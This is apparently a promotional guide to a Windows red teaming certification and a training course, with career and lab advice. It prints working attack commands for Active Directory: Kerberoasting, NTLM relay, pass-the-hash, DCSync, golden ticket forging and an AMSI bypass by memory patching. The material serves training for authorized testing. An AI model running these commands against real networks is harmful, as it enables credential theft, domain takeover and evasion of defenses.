Certified Windows Red Teamer (CWRT) Certification and Career Roadmap

Windows environments are the backbone of enterprise IT infrastructure worldwide. Active Directory, Group Policy, Kerberos authentication, and Windows endpoint defenses are deeply embedded in nearly every corporate network. This reality makes Windows red teaming one of the most sought-after skill sets in offensive security, and the Certified Windows Red Teamer (CWRT) certification is purpose-built to validate exactly those skills.

This guide walks you through what the CWRT covers, the tools and techniques involved, the career path it supports, and how Redfox Cybersecurity Academy's structured training program gets you there.

What Is the Certified Windows Red Teamer (CWRT) Certification?

The CWRT is an advanced, hands-on certification focused on real-world offensive operations against Windows and Active Directory environments. Unlike broad-scope certifications that skim across dozens of platforms, the CWRT goes deep into Windows-specific attack chains: from initial access and privilege escalation to lateral movement, domain compromise, and defense evasion.

The certification is designed for penetration testers, red teamers, and security engineers who operate, or want to operate, at a professional offensive security level within Windows-centric networks. It validates your ability to think and act like a threat actor targeting enterprise Windows infrastructure, which is precisely what organizations need to harden their defenses.

Who Should Pursue the CWRT?

The CWRT is a strong fit for:

• Junior to mid-level penetration testers looking to specialize in Windows and Active Directory
• Red team operators building structured methodology around AD exploitation
• Blue teamers and detection engineers who want adversary perspective to improve detection rules
• Security consultants preparing for enterprise engagements where Windows dominates the environment

A foundational understanding of networking, basic Windows administration, and some exposure to penetration testing concepts will serve you well before diving in. You do not need to be an expert, but you should be comfortable on the command line and familiar with concepts like DNS, SMB, and NTLM.

Core Technical Domains Covered in the CWRT

Active Directory Enumeration and Reconnaissance

Every Windows red team operation begins with thorough enumeration. The goal is to map the domain, identify trust relationships, locate privileged accounts, and find misconfigurations before launching any exploit.

Practitioners use tools like BloodHound and SharpHound to graph attack paths through Active Directory:

# Run SharpHound collector from a compromised host
.\SharpHound.exe -c All --zipfilename bloodhound_output.zip


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After importing the ZIP into BloodHound, you can query for the shortest path to Domain Admins, identify Kerberoastable accounts, and find AS-REP roastable users. These queries translate directly into prioritized attack paths during a real engagement.

PowerView remains indispensable for manual AD enumeration:

# Enumerate all domain users with their SPN attributes
Get-DomainUser -SPN | Select-Object samaccountname, serviceprincipalname

# Find computers where the current user has local admin rights
Find-LocalAdminAccess -Verbose


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If you want to build this kind of enumeration fluency in a structured lab environment, the Windows Red Teaming course at Redfox Cybersecurity Academy covers AD reconnaissance from first principles through advanced attack graph analysis.

Kerberos Attacks: Roasting, Delegation Abuse, and Ticket Manipulation

Kerberos is central to Windows authentication, and it is also the source of some of the most impactful attack primitives in Active Directory red teaming.

Kerberoasting targets service accounts with SPNs, requesting their service tickets and cracking them offline:

# Request all Kerberoastable tickets using Rubeus
.\Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt /format:hashcat


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Those hashes then go into hashcat with the appropriate mode:

hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force


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AS-REP Roasting works against accounts that do not require Kerberos pre-authentication:

.\Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt


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Unconstrained Delegation abuse is a higher-impact technique where a compromised machine with unconstrained delegation can capture TGTs from any user that connects to it, including Domain Admins:

# Monitor for incoming TGTs using Rubeus
.\Rubeus.exe monitor /interval:5 /nowrap


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Constrained Delegation with protocol transition allows requesting service tickets on behalf of any user to the configured SPN, which can be pivoted into lateral movement or privilege escalation depending on the target service.

The CWRT curriculum digs into all of these Kerberos attack primitives with practical labs designed to mirror what you encounter in real enterprise engagements.

NTLM Relay and Credential Capture

NTLM is still pervasive in Windows networks, and relay attacks remain highly effective in environments that have not properly hardened SMB signing and LDAP signing.

Responder is used to poison LLMNR, NBT-NS, and mDNS to capture NTLMv2 hashes from network broadcast traffic:

sudo responder -I eth0 -dPv


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Captured hashes can be cracked offline or, more powerfully, relayed in real time using ntlmrelayx from Impacket:

# Relay NTLM authentication to a target with SMB signing disabled
ntlmrelayx.py -tf targets.txt -smb2support -i


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With an interactive SMB shell or SOCKS proxy established through ntlmrelayx, operators can enumerate shares, dump SAM databases, and move laterally without ever cracking a password.

For LDAP relay scenarios, adding the --delegate-access flag enables Resource-Based Constrained Delegation attacks that can result in full machine compromise:

ntlmrelayx.py -t ldaps://dc01.corp.local --delegate-access --escalate-user compromised_machine$


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Understanding and executing these relay chains is a core competency the Redfox Cybersecurity Academy Windows Red Teaming course walks you through in dedicated lab modules.

Privilege Escalation on Windows Endpoints

Before reaching domain-level attacks, red teamers frequently start from a low-privileged foothold on a Windows endpoint. Local privilege escalation is the bridge between initial access and meaningful impact.

WinPEAS provides automated local privilege escalation enumeration:

.\winPEASx64.exe quiet


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Common escalation vectors include:

• Unquoted service paths where a binary with spaces in the path and no quotes can be hijacked
• Weak service permissions allowing modification of the service binary path
• AlwaysInstallElevated registry misconfiguration enabling MSI execution as SYSTEM
• SeImpersonatePrivilege exploitation using tools like GodPotato or PrintSpoofer

# GodPotato abuse of SeImpersonatePrivilege to execute as SYSTEM
.\GodPotato.exe -cmd "cmd /c whoami > C:\Users\Public\output.txt"


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Each of these techniques maps directly to real misconfigurations found in enterprise Windows environments. The CWRT ensures you can identify and exploit them systematically rather than by chance.

Lateral Movement Techniques in Windows Environments

With elevated privileges on one machine, the next objective is moving through the network toward high-value targets. Windows red teaming involves several lateral movement primitives:

Pass-the-Hash using Impacket's psexec or wmiexec:

# Lateral movement using NTLM hash via wmiexec
wmiexec.py -hashes :aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c \
 Administrator@192.168.1.50


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Overpass-the-Hash / Pass-the-Ticket with Rubeus converts an NTLM hash into a Kerberos TGT for stealthier movement:

.\Rubeus.exe asktgt /user:Administrator /rc4:8846f7eaee8fb117ad06bdd830b7586c /ptt


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DCOM lateral movement is particularly useful for bypassing restrictions on traditional SMB-based techniques:

# DCOM lateral movement via MMC20.Application
$com = [System.Activator]::CreateInstance([System.Type]::GetTypeFromProgID("MMC20.Application","192.168.1.50"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","7")


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Proficiency across multiple lateral movement methods is essential for real engagements where certain protocols may be blocked or monitored. The CWRT training at Redfox Cybersecurity Academy covers the decision-making process behind technique selection, not just the commands themselves.

Domain Privilege Escalation: DCSync, Golden Tickets, and Beyond

Once a foothold in a privileged position is established, operators pursue domain-level compromise.

DCSync abuses the Directory Replication Service to extract password hashes from a Domain Controller without touching the DC directly:

# DCSync using Mimikatz to extract the krbtgt hash
lsadump::dcsync /domain:corp.local /user:krbtgt


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The krbtgt hash is the crown jewel. With it, operators can forge Golden Tickets, which are Kerberos TGTs signed with the domain's own key, granting persistent, near-unrestricted access to the domain:

# Forge a Golden Ticket
kerberos::golden /user:FakeAdmin /domain:corp.local /sid:S-1-5-21-XXXXXXXXXX /krbtgt:HASH /ptt


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Silver Tickets target specific services using the service account hash rather than krbtgt, offering a more surgical, lower-noise alternative for persistence against specific applications.

AdminSDHolder abuse is a persistence mechanism where write permissions to AdminSDHolder propagate to all protected groups within an hour through the SDProp process, granting attackers persistent control even after password resets.

Defense Evasion and AV Bypass

Professional red teaming is not just about exploitation; it is about operating undetected within a defended environment. The CWRT covers evasion techniques relevant to modern enterprise defenses including Windows Defender, AMSI, and EDR solutions.

AMSI bypass is often a prerequisite for running offensive tooling in memory on modern Windows systems:

# Basic AMSI bypass via memory patching (illustrative)
$a = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like "*iUtils" }
$b = $a.GetFields('NonPublic,Static') | Where-Object { $_.Name -like "*Context" }
[IntPtr]$ptr = $b.GetValue($null)
[Int32[]]$buf = @(0)
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 1)


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Payload delivery through process injection, reflective DLL loading, and in-memory execution are all part of the modern red team toolkit that the CWRT curriculum addresses in depth.

The CWRT Career Roadmap

Entry Point: Building the Foundation

Before pursuing CWRT-level content, you should be comfortable with:

• Basic penetration testing methodology (scoping, enumeration, exploitation, reporting)
• Windows administration fundamentals (AD structure, GPO, DNS, NTFS permissions)
• Networking protocols commonly abused in attacks (SMB, LDAP, Kerberos, WMI)
• A scripting language, PowerShell being the most directly applicable

Resources like TryHackMe and Hack The Box are useful for building this baseline, but a structured curriculum shortens the learning curve significantly.

The CWRT Training Path at Redfox Cybersecurity Academy

Redfox Cybersecurity Academy's Windows Red Teaming course is purpose-built to prepare practitioners for the CWRT. The curriculum follows a logical, engagement-realistic progression:

1. Windows and Active Directory fundamentals for red teamers
2. Reconnaissance and enumeration with BloodHound, PowerView, and ldapdomaindump
3. Credential attacks including roasting, relay, and hash capture
4. Local privilege escalation across common Windows misconfigurations
5. Lateral movement across multiple protocols and techniques
6. Domain escalation, persistence, and post-exploitation
7. Defense evasion, OPSEC, and reporting for red team engagements

Each module includes lab environments that reflect realistic enterprise configurations, giving you hands-on practice rather than theory alone. You can explore the full course at Redfox Cybersecurity Academy and start building the skills the CWRT validates.

Post-CWRT Career Opportunities

The CWRT positions you for roles that are among the highest-compensated in cybersecurity:

• Red Team Operator: Running adversary simulations, full-scope engagements, and purple team exercises for enterprise clients. Expect to work across the entire kill chain from phishing simulations and initial access through domain compromise and detection testing.
• Penetration Tester (Windows/AD Specialist): Most enterprise penetration testing engagements involve Active Directory. Specializing in Windows infrastructure testing is a differentiator that consulting firms and in-house security teams pay a premium for.
• Offensive Security Engineer: Building attack simulation tooling, developing custom implants, and supporting red team infrastructure. This role sits at the intersection of software engineering and offensive security.
• Threat Emulation Analyst: Working within organizations to emulate specific threat actor TTPs against their own defenses, directly informing detection rule development and blue team priorities.

Salary ranges for these roles in competitive markets commonly fall between $100,000 and $180,000 USD depending on experience, specialization, and employer type, with senior red team leads and consultants frequently exceeding those figures.

Complementary Certifications and Skills

The CWRT pairs well with certifications and skills in adjacent areas:

• CRTO (Certified Red Team Operator): Focuses on Cobalt Strike and red team infrastructure, complementing the Windows-specific attack techniques covered in the CWRT
• CRTE (Certified Red Team Expert): Advanced Active Directory attacks including forest trust abuse, cross-domain attacks, and more complex AD privilege escalation chains
• OSCP: Broad penetration testing methodology that provides useful context around reporting and engagement structure
• Custom C2 development skills in C, C#, or Rust for operators who want to build their own tooling

The combination of CWRT-level Windows attack knowledge with red team infrastructure skills places practitioners in a very small, highly employable group.

Building a Lab Environment for CWRT Preparation

You do not need expensive hardware to build a functional Windows red team lab. A system with 16GB of RAM (32GB is more comfortable) can run a practical lab using free or evaluation software:

• Windows Server 2019/2022 evaluation for your Domain Controller
• Windows 10/11 evaluation for workstation targets
• Kali Linux or a custom Debian-based attack machine
• VirtualBox or VMware Workstation for hypervisor management

A minimal lab configuration worth building:

• One DC (Domain Controller running AD DS, DNS, and Certificate Services)
• Two domain-joined workstations with deliberate misconfigurations
• A "jump box" representing a compromised low-privilege entry point

Deliberately misconfigure your lab to practice against: weak SMB signing policies, Kerberoastable service accounts, unconstrained delegation, unquoted service paths, and LAPS being absent on certain machines. These are the conditions you will encounter during real engagements and during the CWRT assessment.

Key Takeaways

The Certified Windows Red Teamer certification represents a focused, technically rigorous validation of one of the most practically valuable skill sets in offensive security. Windows and Active Directory are not going anywhere. Enterprise reliance on them continues to grow, and so does the need for practitioners who can test and break them responsibly.

The path to CWRT certification runs through hands-on technical practice. Reading about Kerberoasting is not the same as extracting a hash, cracking it, and using the plaintext credential to chain into a domain admin compromise across a realistic lab. That kind of practice is what separates practitioners who pass assessments from operators who succeed in actual engagements.

Redfox Cybersecurity Academy's structured Windows Red Teaming course gives you the guided lab time, technical depth, and engagement-realistic scenarios needed to pass the CWRT and perform confidently in real red team roles. If Windows red teaming is where you want to build your career, start with the course and build the foundation that the certification rewards.